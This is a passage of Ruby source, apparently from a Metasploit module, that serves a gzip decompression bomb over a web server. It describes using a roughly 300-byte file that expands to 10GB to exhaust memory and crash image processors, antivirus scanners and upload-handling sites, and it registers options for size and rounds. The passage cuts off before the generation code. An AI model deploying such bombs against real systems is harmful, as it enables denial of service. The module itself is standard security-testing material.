Many applications will not implement a length limit check and will eat up all memory and eventually die. This can also be used to kill systems that download/parse content from a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc). A FILEPATH datastore option can also be provided to save the .gz bomb locally. Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value) will generate a 300 byte gzipped file that expands to 10GB. }, 'Author' => [ 'info[at]aerasec.de', # 2004 gzip bomb advisory 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ] ], 'DisclosureDate' => 'Jan 1 2004', 'Actions' => [ [ 'WebServer' ] ], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) register_options( [ OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]), OptInt.new('ROUNDS', [true, 'Rounds of gzip compression.
